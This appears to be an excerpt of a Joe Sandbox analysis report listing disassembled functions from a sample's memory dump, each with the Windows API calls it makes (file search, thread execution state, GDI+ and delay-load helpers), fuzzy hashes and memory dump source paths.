Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: c7677fc7d8d3ba9e969f5395418178dc35a764c9159706d82cdfed538bfde405
Instruction ID: 9031379b089745e5c4335fb344806d9e87b691406e8b750793a384cd147a6f02
Opcode Fuzzy Hash: c7677fc7d8d3ba9e969f5395418178dc35a764c9159706d82cdfed538bfde405
Instruction Fuzzy Hash: FB016930920690DEDB25F7B8C0517EDBBE4DF64304F5084DDA45663282DBB42B08D7A2

Function 00B8A56D Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

Part of subcall function 00B8A69B: FindFirstFileW.KERNELBASE(?,?,?,?,?,?,00B8A592,000000FF,?,?), ref: 00B8A6C4
Part of subcall function 00B8A69B: FindFirstFileW.KERNELBASE(?,?,?,?,00000800,?,?,?,?,00B8A592,000000FF,?,?), ref: 00B8A6F2
Part of subcall function 00B8A69B: GetLastError.KERNEL32(?,?,00000800,?,?,?,?,00B8A592,000000FF,?,?), ref: 00B8A6FE

FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 00B8A598

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: Find$FileFirst$CloseErrorLast
String ID:
API String ID: 1464966427-0
Opcode ID: b54940568d4bee95ccde5e227e0291497347d32b688c76c65bd21b1f3d39a7ee
Instruction ID: a64edec3b7eb9be775db6820cb6e228c0a68808bb0fd905a500a8d8dacbdcd47
Opcode Fuzzy Hash: b54940568d4bee95ccde5e227e0291497347d32b688c76c65bd21b1f3d39a7ee
Instruction Fuzzy Hash: A4F08931008790ABDB227BB44904BD77BD05F25331F048A8AF1FD521B6C27550D4DB23

Function 00B90E08 Relevance: 1.5, APIs: 1, Instructions: 21threadCOMMON

Download Yara Rule

APIs

SetThreadExecutionState.KERNEL32(00000001), ref: 00B90E3D

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: ExecutionStateThread
String ID:
API String ID: 2211380416-0
Opcode ID: d89b00f1861cc41de1a70ff7c7cef1c060e3d5f7bb6d5891dd55b7f751b7d457
Instruction ID: 0bbe351321c984b683e51cf1c9074e05eca17ef8a1a5cd1fee48999b437c8669
Opcode Fuzzy Hash: d89b00f1861cc41de1a70ff7c7cef1c060e3d5f7bb6d5891dd55b7f751b7d457
Instruction Fuzzy Hash: ADD01211A150555ADE11372C6955BFE26C7CFCB311F0D08F5B14567193CE544886A361

Function 00B9A626 Relevance: 1.5, APIs: 1, Instructions: 16memoryCOMMON

Download Yara Rule

APIs

GdipAlloc.GDIPLUS(00000010), ref: 00B9A62C

Part of subcall function 00B9A3B9: GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 00B9A3DA

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: Gdip$AllocBitmapCreateFromStream
String ID:
API String ID: 1915507550-0
Opcode ID: 04de48f4da0057d5573094f8f1391eb8b680834ec636c82e70e38579218699a2
Instruction ID: 6f6936d02a0c74ab02a55c4b7bbec039decf211e6489bdbe37c83afbf200a1da
Opcode Fuzzy Hash: 04de48f4da0057d5573094f8f1391eb8b680834ec636c82e70e38579218699a2
Instruction Fuzzy Hash: B3D0C971214209BADF42AF728C5297E7ADAEB01340F0481B5B842D5191EAB1E910A6A6

Function 00B9E5BB Relevance: 1.5, APIs: 1, Instructions: 13COMMONLIBRARYCODE

Download Yara Rule

APIs

DloadProtectSection.DELAYIMP ref: 00B9E5E3

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: DloadProtectSection
String ID:
API String ID: 2203082970-0
Opcode ID: b8df1e44eca60a4e7260f93ce0088715cdf2f51febb005d39468f6f6ffbcf961
Instruction ID: a71590ed2e4e1b60495ed203ac0aace16d287bb4f103ca34cfe73372146779f8
Opcode Fuzzy Hash: b8df1e44eca60a4e7260f93ce0088715cdf2f51febb005d39468f6f6ffbcf961
Instruction Fuzzy Hash: FED0C9B0580280ABDE12EBACA8C672437D4F324B04FB009E5F165DA6A5DFB4C490C606

Function 00B9DD6D Relevance: 1.5, APIs: 1, Instructions: 13windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageW.USER32(0000006A,00000402,00000000,00000000,00B91B3E), ref: 00B9DD92

Part of subcall function 00B9B568: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00B9B579
Part of subcall function 00B9B568: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00B9B58A
Part of subcall function 00B9B568: IsDialogMessageW.USER32(0001040E,?), ref: 00B9B59E
Part of subcall function 00B9B568: TranslateMessage.USER32(?), ref: 00B9B5AC
Part of subcall function 00B9B568: DispatchMessageW.USER32(?), ref: 00B9B5B6

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: Message$DialogDispatchItemPeekSendTranslate
String ID:
API String ID: 897784432-0
Opcode ID: e5a8bf137fb03a967e1664654e3ce72a90932ec27d552018f26c1f1732a469dc
Instruction ID: 95953b84d048ce8ba3972e1d96878f3bc383859c40364091652487b927702fa6
Opcode Fuzzy Hash: e5a8bf137fb03a967e1664654e3ce72a90932ec27d552018f26c1f1732a469dc
Instruction Fuzzy Hash: 14D09E31154300BADA012B51DE06F1A7AE2AB98B08F004599B284750B18A729D61DB12

Function 00B898BC Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(000000FF,00B897BE), ref: 00B898C8

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 877b0e2fa963ddaf5dfa31d20e1928376c4ad6010dcb50ea23370b13aeb1eab5
Instruction ID: 3a691f7c31c0c9b4755bd93a66a0c8c700ed61d6005d81359d903bb2093eda97
Opcode Fuzzy Hash: 877b0e2fa963ddaf5dfa31d20e1928376c4ad6010dcb50ea23370b13aeb1eab5
Instruction Fuzzy Hash: F3C00234404206968E61AA2498490A977A2EF637EA7B897D4D0798A0F1C722CC97EB11

Function 00B9E1F6 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B9E1E3

Part of subcall function 00B9E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B9E8D0
Part of subcall function 00B9E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B9E8E1

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: c1b661f9a7fe65d06a8a30b8b4aaaec715d8cb056975e153084f0c0ffb4113ee
Instruction ID: d0913e2093c7a0109932b620099cd5e43f33d29b30f96d5ac48e543084eda88a
Opcode Fuzzy Hash: c1b661f9a7fe65d06a8a30b8b4aaaec715d8cb056975e153084f0c0ffb4113ee
Instruction Fuzzy Hash: A1B012D2268041BD3504D2461C47D3701CCC0C1F10330C0FEFC25D51C0ED80EC840432

Function 00B9E1EC Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B9E1E3

Part of subcall function 00B9E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B9E8D0
Part of subcall function 00B9E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B9E8E1

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 3473a02209464e0891e9eabbc2ae8b8daff3cb61cae5f8a616d8434d9fa610cc
Instruction ID: 88f2dceba4bcf489dfdbcb65d0eb264565c35d1960ece481d41c0483ea4cd22b
Opcode Fuzzy Hash: 3473a02209464e0891e9eabbc2ae8b8daff3cb61cae5f8a616d8434d9fa610cc
Instruction Fuzzy Hash: BCB012D626C141ED3504D18A1C87D3701CCD0C0F1033040FEF825D5080ED80ECC00532

Function 00B9E1D1 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B9E1E3

Part of subcall function 00B9E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B9E8D0
Part of subcall function 00B9E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B9E8E1

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 110171e1c11e28dc86a02d9145586f590787bd52d8dcdd8a1b33597f5dd85c53
Instruction ID: 185458e01b028f0e6b0bd6e45615440073b87f65520ed036a04165047e64a725
Opcode Fuzzy Hash: 110171e1c11e28dc86a02d9145586f590787bd52d8dcdd8a1b33597f5dd85c53
Instruction Fuzzy Hash: 6EB012D6268141BD3504D1861C87C3701CCC0C1F1033084FEFC21E4480ED80ECC00432

Function 00B9E282 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B9E1E3

Part of subcall function 00B9E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B9E8D0
Part of subcall function 00B9E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B9E8E1

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 203f9862d6e9b55898760cccf9845cf6f2f011dc3ac60b48d409110b9f23d9e8
Instruction ID: b6f8ae114a5858447f4e854148e979ac0e5df5c43a3d0cf8f6ed4116650df15b
Opcode Fuzzy Hash: 203f9862d6e9b55898760cccf9845cf6f2f011dc3ac60b48d409110b9f23d9e8
Instruction Fuzzy Hash: ADB012E2268041ED3504D1461D87D3701CCC0C0F1033040FEF825D5080ED80ED811432

Function 00B9EAE7 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B9EAF9

Part of subcall function 00B9E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B9E8D0
Part of subcall function 00B9E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B9E8E1

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 8d474d2118d45c6c68409a37ae79da7bbc2484cf1fd0ef1fed8f4e659482d52d
Instruction ID: 041744f93b38e0e1f7b9217d8640cc9dc96d0e1231a39d769d6345d96705a0e3
Opcode Fuzzy Hash: 8d474d2118d45c6c68409a37ae79da7bbc2484cf1fd0ef1fed8f4e659482d52d
Instruction Fuzzy Hash: E2B012C72AA0827D3904E2411D86D3703CCC0D0FA133084FEF421C90A3FCC08C010431

Function 00B9E23C Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B9E1E3

Part of subcall function 00B9E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B9E8D0
Part of subcall function 00B9E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B9E8E1

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 2b9fa10246f2bab73d22f23de1aba63a226f27b7f9137c97853f87530185fb2c
Instruction ID: d4f123ae6e688643916a586d465f15077c76f402b0431c4a22d46f51507dfd2e
Opcode Fuzzy Hash: 2b9fa10246f2bab73d22f23de1aba63a226f27b7f9137c97853f87530185fb2c
Instruction Fuzzy Hash: EBB012F2268041AD3544D1471C47D3701CCD0C0F1033040FEF825D5080ED80ED800432

Function 00B9E232 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B9E1E3

Part of subcall function 00B9E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B9E8D0
Part of subcall function 00B9E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B9E8E1

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 32fa2f9b10d4332800d21b731b3f24fcbc1014fea1f9ab69458bac0380ab5058
Instruction ID: 888b68b3ce09f1deb2c8ed74ddfa4ae7f03b4d54a4fe191e436dd1cf4078b996
Opcode Fuzzy Hash: 32fa2f9b10d4332800d21b731b3f24fcbc1014fea1f9ab69458bac0380ab5058
Instruction Fuzzy Hash: 79B012F2268041AD3544D1461D47D3701CDC0C0F1033040FEF825D5080ED80EE810432

Function 00B9E228 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B9E1E3

Part of subcall function 00B9E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B9E8D0
Part of subcall function 00B9E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B9E8E1

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 18cad6ce061a0ca7964cd2d964f6a5ada1d20935665b7f3cd37a7dfd56334791
Instruction ID: 78dc3232783fb6c5c06c5bec60bf3e7f3141c5a62021982058fbf2b24d7818b7
Opcode Fuzzy Hash: 18cad6ce061a0ca7964cd2d964f6a5ada1d20935665b7f3cd37a7dfd56334791
Instruction Fuzzy Hash: 45B012F2268141BD3584D1461C47D3701CCC0C0F1033041FEF825D5080ED80EDC00432

Function 00B9E21E Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B9E1E3

Part of subcall function 00B9E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B9E8D0
Part of subcall function 00B9E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B9E8E1

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: ed75a50625248003a832f1e0cb51555a490a4dc4e6f71306d82424c5e7a0346f
Instruction ID: e4d79edcea298fe1a720397e469c62e61e65c3ae275ad13b60d73ce600e940a3
Opcode Fuzzy Hash: ed75a50625248003a832f1e0cb51555a490a4dc4e6f71306d82424c5e7a0346f
Instruction Fuzzy Hash: 14B012F2268041BD3544D1461C47D3701CCC0C1F1033080FEFC25D5080ED80ED800432

Function 00B9E20A Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B9E1E3

Part of subcall function 00B9E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B9E8D0
Part of subcall function 00B9E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B9E8E1

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 84a3a22a8c360373edd93b08c81d0648666638f51279bc820ec2e0aeb9b5e0c2
Instruction ID: 8bf1668b7f44bb63769622a09dfaad0a9dd1b92b7757d86dce25fe9dca9376c2
Opcode Fuzzy Hash: 84a3a22a8c360373edd93b08c81d0648666638f51279bc820ec2e0aeb9b5e0c2
Instruction Fuzzy Hash: 74B012D2268041BD3504D2461D47D3701CCC0C0F1033080FEF825D5180ED90ED890432

Function 00B9E200 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B9E1E3

Part of subcall function 00B9E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B9E8D0
Part of subcall function 00B9E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00B9E8E1

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

